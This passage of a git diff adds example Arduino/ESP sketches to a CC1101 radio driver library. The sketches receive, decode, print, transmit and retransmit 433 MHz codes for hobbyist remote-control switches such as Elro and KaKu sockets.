ELECHOUSE_cc1101.SetRx(); // set Receive on + + // set callback funktion for raw messages + rf.setPulseTrainCallBack(rfRawCallback); + // inittilize receiver + rf.initReceiver(RECEIVER_PIN); +} + +void loop() { + // process input queue and may fire calllback + rf.loop(); + delay(10); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Receive_cc1101/Receive_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Receive_cc1101/Receive_cc1101.ino new file mode 100644 index 0000000..9affeb2 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Receive_cc1101/Receive_cc1101.ino @@ -0,0 +1,81 @@ +/* + Basic ESPilight receive example + + https://github.com/puuu/espilight + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int RECEIVER_PIN; // any intterupt able pin +int TRANSMITTER_PIN; + +ESPiLight rf(TRANSMITTER_PIN); // use -1 to disable transmitter + +// callback function. It is called on successfully received and parsed rc signal +void rfCallback(const String &protocol, const String &message, int status, + size_t repeats, const String &deviceID) { + Serial.print("RF signal arrived ["); + Serial.print(protocol); // protocoll used to parse + Serial.print("]["); + Serial.print(deviceID); // value of id key in json message + Serial.print("] ("); + Serial.print(status); // status of message, depending on repeat, either: + // FIRST - first message of this protocoll within the + // last 0.5 s + // INVALID - message repeat is not equal to the + // previous message + // VALID - message is equal to the previous message + // KNOWN - repeat of a already valid message + Serial.print(") "); + Serial.print(message); // message in json format + Serial.println(); + + // check if message is valid and process it + if (status == VALID) { + Serial.print("Valid message: ["); + Serial.print(protocol); + Serial.print("] "); + Serial.print(message); + Serial.println(); + } +} + +void setup() { + Serial.begin(115200); + +#ifdef ESP32 +RECEIVER_PIN = 4; TRANSMITTER_PIN = 2; // for esp32! Receiver on GPIO pin 4. Transmit on GPIO pin 2. +#elif ESP8266 +RECEIVER_PIN = 4; TRANSMITTER_PIN = 5; // for esp8266! Receiver on pin 4 = D2. Transmit on pin 5 = D1. +#else +RECEIVER_PIN = 0; TRANSMITTER_PIN = 6; // for Arduino! Receiver on interrupt 0 => that is pin #2. Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.SetRx(); // set Receive on + + // set callback funktion + rf.setCallback(rfCallback); + // inittilize receiver + rf.initReceiver(RECEIVER_PIN); +} + +void loop() { + // process input queue and may fire calllback + rf.loop(); + delay(10); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Transmit_Raw_cc1101/Transmit_Raw_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Transmit_Raw_cc1101/Transmit_Raw_cc1101.ino new file mode 100644 index 0000000..5514365 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Transmit_Raw_cc1101/Transmit_Raw_cc1101.ino @@ -0,0 +1,58 @@ +/* + Basic ESPiLight transmit RAW signal example + + https://github.com/puuu/espilight + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int TRANSMITTER_PIN; + + +void setup() { + Serial.begin(115200); + +#ifdef ESP32 +TRANSMITTER_PIN = 2; // for esp32! Transmit on GPIO pin 2. +#elif ESP8266 +TRANSMITTER_PIN = 5; // for esp8266! Transmit on pin 5 = D1. +#else +TRANSMITTER_PIN = 6; // for Arduino! Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.SetTx(); // cc1101 set Transmit on + + ESPiLight rf(TRANSMITTER_PIN); + + int length = 0; + uint16_t codes[MAXPULSESTREAMLENGTH]; + + // get pulse train from string (format see: pilight USB Nano) + length = rf.stringToPulseTrain( + "c:102020202020202020220202020020202200202200202020202020220020202203;p:" + "279,2511,1395,9486@", + codes, MAXPULSESTREAMLENGTH); + + // transmit the pulse train + rf.sendPulseTrain(codes, length); +} + +// Toggle state of elro 800 switch evrey 2 s +void loop() { + // stop +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Transmit_cc1101/Transmit_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Transmit_cc1101/Transmit_cc1101.ino new file mode 100644 index 0000000..45600ef --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/Transmit_cc1101/Transmit_cc1101.ino @@ -0,0 +1,47 @@ +/* + Basic ESPiLight transmit example + + https://github.com/puuu/espilight + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int TRANSMITTER_PIN; + +void setup() { + Serial.begin(115200); + +#ifdef ESP32 +TRANSMITTER_PIN = 2; // for esp32! Transmit on GPIO pin 2. +#elif ESP8266 +TRANSMITTER_PIN = 5; // for esp8266! Transmit on pin 5 = D1. +#else +TRANSMITTER_PIN = 6; // for Arduino! Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.SetTx(); // cc1101 set Transmit on + } + +// Toggle state of elro 800 switch evrey 2 s +void loop() { + ESPiLight rf(TRANSMITTER_PIN); + rf.send("elro_800_switch", "{\"systemcode\":17,\"unitcode\":1,\"on\":1}"); + delay(2000); + rf.send("elro_800_switch", "{\"systemcode\":17,\"unitcode\":1,\"off\":1}"); + delay(2000); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/pilight_debug_cc1101/pilight_debug_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/pilight_debug_cc1101/pilight_debug_cc1101.ino new file mode 100644 index 0000000..0c0ccd5 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/pilight_debug_cc1101/pilight_debug_cc1101.ino @@ -0,0 +1,107 @@ +/* + Basic ESPiLight pilight_debug example + + This example mimic the output of the piligh_debug tool. + + https://github.com/puuu/espilight + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib +---------------------------------------------------------- + Mod by Little Satan. Have Fun! +---------------------------------------------------------- +*/ +#include +#include + +#define PULSE_DIV 34 + +int RECEIVER_PIN; // any intterupt able pin +int TRANSMITTER_PIN; + +ESPiLight rf(TRANSMITTER_PIN); // use -1 to disable transmitter + +unsigned int normalize(unsigned int i, unsigned int pulselen) { + double x; + x = (double)i / pulselen; + + return (unsigned int)(round(x)); +} + +// callback function. It is called on successfully received and parsed rc signal +void rfRawCallback(const uint16_t* pulses, size_t length) { + uint16_t pulse; + uint16_t pulselen = pulses[length - 1] / PULSE_DIV; + if (pulselen > 25) { + for (unsigned int i = 3; i < length; i++) { + if ((pulses[i] / pulselen) >= 2) { + pulse = pulses[i]; + break; + } + } + if (normalize(pulse, pulselen) > 0 && length > 25) { + /* Print everything */ + Serial.println("--[RESULTS]--"); + Serial.println(); + Serial.print("time:\t\t"); + Serial.print(millis()); + Serial.println(" ms"); + Serial.println("hardware:\tESPiLight"); + Serial.print("pulse:\t\t"); + Serial.println(normalize(pulse, pulselen)); + Serial.print("rawlen:\t\t"); + Serial.println(length); + Serial.printf("pulselen:\t"); + Serial.println(pulselen); + Serial.println(); + Serial.println("Raw code:"); + for (unsigned int i = 0; i < length; i++) { + Serial.print(pulses[i]); + Serial.print(" "); + } + Serial.println(); + } + } +} + +void setup() { + Serial.begin(115200); + +#ifdef ESP32 +RECEIVER_PIN = 4; TRANSMITTER_PIN = 2; // for esp32! Receiver on GPIO pin 4. Transmit on GPIO pin 2. +#elif ESP8266 +RECEIVER_PIN = 4; TRANSMITTER_PIN = 5; // for esp8266! Receiver on pin 4 = D2. Transmit on pin 5 = D1. +#else +RECEIVER_PIN = 0; TRANSMITTER_PIN = 6; // for Arduino! Receiver on interrupt 0 => that is pin #2. Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.SetRx(); // set Receive on + + // set callback funktion for raw messages + rf.setPulseTrainCallBack(rfRawCallback); + // inittilize receiver + rf.initReceiver(RECEIVER_PIN); + + Serial.println( + "Press and hold one of the buttons on your remote or wait until"); + Serial.println("another device such as a weather station has sent new codes"); + Serial.println( + "The debugger will automatically reset itself after one second of"); + Serial.println( + "failed leads. It will keep running until you explicitly stop it."); +} + +void loop() { + // process input queue and may fire calllback + rf.loop(); + delay(10); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/pilight_raw_cc1101/pilight_raw_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/pilight_raw_cc1101/pilight_raw_cc1101.ino new file mode 100644 index 0000000..17572d4 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/ESPiLight examples cc1101/pilight_raw_cc1101/pilight_raw_cc1101.ino @@ -0,0 +1,67 @@ +/* + Basic ESPiLight pilight_raw example + + This example mimic the output of the piligh_raw tool. + + https://github.com/puuu/espilight + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int RECEIVER_PIN; // any intterupt able pin +int TRANSMITTER_PIN; + +ESPiLight rf(TRANSMITTER_PIN); // use -1 to disable transmitter + +// callback function. It is called on successfully received and parsed rc signal +void rfRawCallback(const uint16_t* pulses, size_t length) { + Serial.print("ESPiLight:"); + for (unsigned int i = 0; i < length; i++) { + Serial.print(" "); + Serial.print(pulses[i]); + if (pulses[i] > 5100) { + Serial.printf(" -# "); + Serial.println(i); + } + } +} + +void setup() { + Serial.begin(115200); + +#ifdef ESP32 +RECEIVER_PIN = 4; TRANSMITTER_PIN = 2; // for esp32! Receiver on GPIO pin 4. Transmit on GPIO pin 2. +#elif ESP8266 +RECEIVER_PIN = 4; TRANSMITTER_PIN = 5; // for esp8266! Receiver on pin 4 = D2. Transmit on pin 5 = D1. +#else +RECEIVER_PIN = 0; TRANSMITTER_PIN = 6; // for Arduino! Receiver on interrupt 0 => that is pin #2. Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.SetRx(); // set Receive on + + // set callback funktion for raw messages + rf.setPulseTrainCallBack(rfRawCallback); + // inittilize receiver + rf.initReceiver(RECEIVER_PIN); +} + +void loop() { + // process input queue and may fire calllback + rf.loop(); + delay(10); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/LearnCode_cc1101/LearnCode_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/LearnCode_cc1101/LearnCode_cc1101.ino new file mode 100644 index 0000000..30bc543 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/LearnCode_cc1101/LearnCode_cc1101.ino @@ -0,0 +1,85 @@ +/* + * Demo for RF remote switch receiver. + * This example is for the new KaKu / Home Easy type of remotes! + * + * For details, see NewRemoteReceiver.h! + * + * With this sketch you can control a LED connected to digital pin 4, + * after the sketch learned the code. After start, the LED starts to blink, + * until a valid code has been received. The led stops blinking. Now you + * can control the LED with the remote. + * + * Note: only unit-switches are supported in this sketch, no group or dim. + * + * Arduino only! + * + * https://github.com/1technophile/NewRemoteSwitch + * https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + * ---------------------------------------------------------- + * Mod by Little Satan. Have Fun! + * ---------------------------------------------------------- + * + */ +#include +#include + + +int pin = 0; // int for Receive pin. +int led = 4; // pin for Led. + +boolean codeLearned = false; +unsigned long learnedAddress; +byte learnedUnit; + +void setup() { + + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + ELECHOUSE_cc1101.SetRx(); // set Receive on + + // LED-pin as output + pinMode(led, OUTPUT); + + // Init a new receiver on interrupt pin 0, minimal 2 identical repeats, and callback set to processCode. + NewRemoteReceiver::init(pin, 2, processCode); +} + +void loop() { + // Blink led until a code has been learned + if (!codeLearned) { + digitalWrite(13, HIGH); + delay(500); + digitalWrite(13, LOW); + delay(500); + } +} + +// Callback function is called only when a valid code is received. +void processCode(NewRemoteCode receivedCode) { + // A code has been received. + // Do we already know the code? + if (!codeLearned) { + // No! Let's learn the received code. + learnedAddress = receivedCode.address; + learnedUnit = receivedCode.unit; + codeLearned = true; + } else { + // Yes! + // Is the received code identical to the learned code? + if (receivedCode.address == learnedAddress && receivedCode.unit == learnedUnit) { + // Yes! + // Switch the LED off if the received code was "off". + // Anything else (on, dim, on_with_dim) will switch the LED on. + if (receivedCode.switchType == NewRemoteCode::off) { + digitalWrite(13, LOW); + } else { + digitalWrite(13, HIGH); + } + } + } +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/LightShow_cc1101/LightShow_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/LightShow_cc1101/LightShow_cc1101.ino new file mode 100644 index 0000000..ed7251a --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/LightShow_cc1101/LightShow_cc1101.ino @@ -0,0 +1,81 @@ +/** + * Demo for RF remote switch receiver. + * For details, see NewRemoteReceiver.h! + * + * Connect the transmitter to digital pin 6. + * + * This sketch demonstrates the use of the NewRemoteTransmitter class. + * + * When run, this sketch switches some pre-defined devices on and off in a loop. + * + * NOTE: the actual receivers have the address and group numbers in this example + * are only for demonstration! If you want to duplicate an existing remote, please + * try the "retransmitter"-example instead. + * + * To use this actual example, you'd need to "learn" the used code in the receivers + * This sketch is unsuited for that. + * + * + * https://github.com/1technophile/NewRemoteSwitch + * https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + * ---------------------------------------------------------- + * Mod by Little Satan. Have Fun! + * ---------------------------------------------------------- + * + */ +#include +#include + +int pin; // int for Transmit pin. + +void setup() { + +#ifdef ESP32 +pin = 2; // for esp32! Transmit on GPIO pin 2. +#elif ESP8266 +pin = 5; // for esp8266! Transmit on pin 5 = D1 +#else +pin = 6; // for Arduino! Transmit on pin 6. +#endif + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + ELECHOUSE_cc1101.SetTx(); // cc1101 set Transmit on +} + +void loop() { + + // Create a transmitter on address 123, using digital pin 6 to transmit, + // with a period duration of 260ms (default), repeating the transmitted + // code 2^3=8 times. + NewRemoteTransmitter transmitter(123, pin, 260, 3); + + // Switch unit 2 off + transmitter.sendUnit(2, false); + + // Switch all devices in the group off + transmitter.sendGroup(false); + + // Set unit 1 to dim-level 3 (range 0-15) + transmitter.sendDim(1, 3); + + // Wait 5 seconds + delay(5000); + + + // Switch unit 2 on + transmitter.sendUnit(2, true); + + // Switch all devices in the group on + transmitter.sendGroup(true); + + // Set unit 1 to dim-level 15, full brightness. + transmitter.sendDim(1, 15); + + // Wait 5 seconds + delay(5000); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/NewRemoteRepeater/NewRemoteRepeater.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/NewRemoteRepeater/NewRemoteRepeater.ino new file mode 100644 index 0000000..c212f37 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/NewRemoteRepeater/NewRemoteRepeater.ino @@ -0,0 +1,115 @@ +/* + * Demo for RF remote switch receiver. + * For details, see NewRemoteReceiver.h! + * + * + * When run, this sketch waits for a valid code from a new-style the receiver, + * decodes it, and retransmits it after 1 seconds. + * + * + * https://github.com/1technophile/NewRemoteSwitch + * https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + * ---------------------------------------------------------- + * Written by Roman.(Arduino Forum) THX! + * Mod by Little Satan. Have Fun! + * ---------------------------------------------------------- + */ + +#include +#include +#include + +int pinTx; // int for Receive pin. +int pinRx; // int for Receive pin. +int Interr = 2; // Interrupt Numer +int Anz = 3; // number of retransmissions +int Tw = 0; // Wait Miliseconds before sending + +int debug = 1; // Debugmode ein (1)/aus(0) + +void setup() { +Serial.begin(115200); + +#ifdef ESP32 +pinRx = 4; pinTx = 2; // for esp32! Receiver on GPIO pin 4. Transmit on GPIO pin 2. +#elif ESP8266 +pinRx = 4; pinTx = 5; // for esp8266! Receiver on pin 4 = D2. Transmit on pin 5 = D1. +#else +pinRx = 0; pinTx = 6; // for Arduino! Receiver on interrupt 0 => that is pin #2. Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + + + ELECHOUSE_cc1101.SetRx(); // set Receive on + // See example ShowReceivedCode for info on this + NewRemoteReceiver::init(pinRx, Interr, ReTrans); + if (debug == 1) {Serial.println("Receiver initialized... ");}} + +void loop() { +} + + void ReTrans(unsigned int period, unsigned long address, unsigned long groupBit, unsigned long unit, unsigned long switchType){ // Disable the receiver; otherwise it might pick up the retransmit as well. + + if (debug == 1) { + // Print the received code. + Serial.print("Receiver: "); + Serial.print("Code: "); + Serial.print(address); + Serial.print(" unit: "); + Serial.print(unit); + Serial.print(" switchType: "); + Serial.print(switchType); + Serial.print(" Period: "); + Serial.print(period); + Serial.print(" groupBit: "); + Serial.println(groupBit); + } + + + + if (debug == 1) {Serial.print("Send: Receiver disable... ");} + NewRemoteReceiver::disable(); + + // Need interrupts for delay() + interrupts(); + + if (debug == 1) {Serial.print("Wait... ");} + + // Wait 1 seconds before sending. + delay(Tw); + + + + ELECHOUSE_cc1101.SetTx(); // set Transmit on + // Create a new transmitter with the received address and period, use digital pin as output pin + NewRemoteTransmitter transmitter(address, pinTx, period, Anz); + if (debug == 1) {Serial.print("Send: Addr " + String(address) + " unit " + String(unit)+" "+ String(switchType)+", period: "+String(period)+" " );} + + // On/Off signal received + bool isOn = switchType == NewRemoteCode::on; + + if (groupBit) { + // Send to the group + transmitter.sendGroup(isOn); + } + else { + // Send to a single unit + transmitter.sendUnit(unit, isOn); + } + + if (debug == 1) {Serial.println("Receiver enable!");} + ELECHOUSE_cc1101.SetRx(); // set Receive on + NewRemoteReceiver::enable(); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/Retransmitter_cc1101/Retransmitter_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/Retransmitter_cc1101/Retransmitter_cc1101.ino new file mode 100644 index 0000000..6861340 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/Retransmitter_cc1101/Retransmitter_cc1101.ino @@ -0,0 +1,80 @@ +/* + * Demo for RF remote switch receiver. + * For details, see NewRemoteReceiver.h! + * + * + * When run, this sketch waits for a valid code from a new-style the receiver, + * decodes it, and retransmits it after 5 seconds. + * + * Notes: Arduino only!!! + * + * https://github.com/1technophile/NewRemoteSwitch + * https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + * ---------------------------------------------------------- + * Mod by Little Satan. Have Fun! + * ---------------------------------------------------------- + */ + +#include +#include +#include + +void setup() { + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + ELECHOUSE_cc1101.SetRx(); // set Receive on + + // See example ShowReceivedCode for info on this + NewRemoteReceiver::init(0, 2, retransmitter); +} + +void loop() { +} + +void retransmitter(NewRemoteCode receivedCode) { + // Disable the receiver; otherwise it might pick up the retransmit as well. + NewRemoteReceiver::disable(); + + // Need interrupts for delay() + interrupts(); + + // Wait 5 seconds before sending. + delay(5000); + + // Create a new transmitter with the received address and period, use digital pin as output pin + + ELECHOUSE_cc1101.SetTx(); // set Transmit on + NewRemoteTransmitter transmitter(receivedCode.address, 6, receivedCode.period); + + if (receivedCode.switchType == NewRemoteCode::dim || + (receivedCode.switchType == NewRemoteCode::on && receivedCode.dimLevelPresent)) { + // Dimmer signal received + + if (receivedCode.groupBit) { + transmitter.sendGroupDim(receivedCode.dimLevel); + } + else { + transmitter.sendDim(receivedCode.unit, receivedCode.dimLevel); + } + } + else { + // On/Off signal received + bool isOn = receivedCode.switchType == NewRemoteCode::on; + + if (receivedCode.groupBit) { + // Send to the group + transmitter.sendGroup(isOn); + } + else { + // Send to a single unit + transmitter.sendUnit(receivedCode.unit, isOn); + } + } + ELECHOUSE_cc1101.SetRx(); // set Receive on + NewRemoteReceiver::enable(); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/ShowReceivedCode_cc1101/ShowReceivedCode_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/ShowReceivedCode_cc1101/ShowReceivedCode_cc1101.ino new file mode 100644 index 0000000..2887a2e --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/NewRemoteSwitch examples cc1101/ShowReceivedCode_cc1101/ShowReceivedCode_cc1101.ino @@ -0,0 +1,75 @@ +/* +* Demo for RF remote switch receiver. +* For details, see RemoteReceiver.h! +* +* This sketch shows the received signals on the serial port. +* Connect the receiver to digital pin 2 on arduino and digital pin 1 on ESP8266. +* +* +*Detected codes example: + code: 8233372 Period: 273 + unit: 1 + groupBit: 0 + switchType: 0 +* +* https://github.com/1technophile/NewRemoteSwitch +* https://github.com/LSatan/SmartRC-CC1101-Driver-Lib +* ---------------------------------------------------------- +* Mod by Little Satan. Have Fun! +* ---------------------------------------------------------- +* +*/ +#include +#include + +int pin; // int for Receive pin. + +void setup() { + Serial.begin(115200); + +#ifdef ESP32 +pin = 4; // for esp32! Receiver on GPIO pin 4. +#elif ESP8266 +pin = 4; // for esp8266! Receiver on pin 4 = D2. +#else +pin = 0; // for Arduino! Receiver on interrupt 0 => that is pin #2 +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + ELECHOUSE_cc1101.SetRx(); // set Receive on + + NewRemoteReceiver::init(pin, 2, showCode); + Serial.println("Receiver initialized"); +} + +void loop() { + +} + +// Callback function is called only when a valid code is received. +void showCode(unsigned int period, unsigned long address, unsigned long groupBit, unsigned long unit, unsigned long switchType) { + + // Print the received code. + Serial.print("Code: "); + Serial.print(address); + Serial.print(" Period: "); + Serial.println(period); + Serial.print(" unit: "); + Serial.println(unit); + Serial.print(" groupBit: "); + Serial.println(groupBit); + Serial.print(" switchType: "); + Serial.println(switchType); + +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ProtocolAnalyzeDemo_cc1101/ProtocolAnalyzeDemo_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ProtocolAnalyzeDemo_cc1101/ProtocolAnalyzeDemo_cc1101.ino new file mode 100644 index 0000000..94c2131 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch 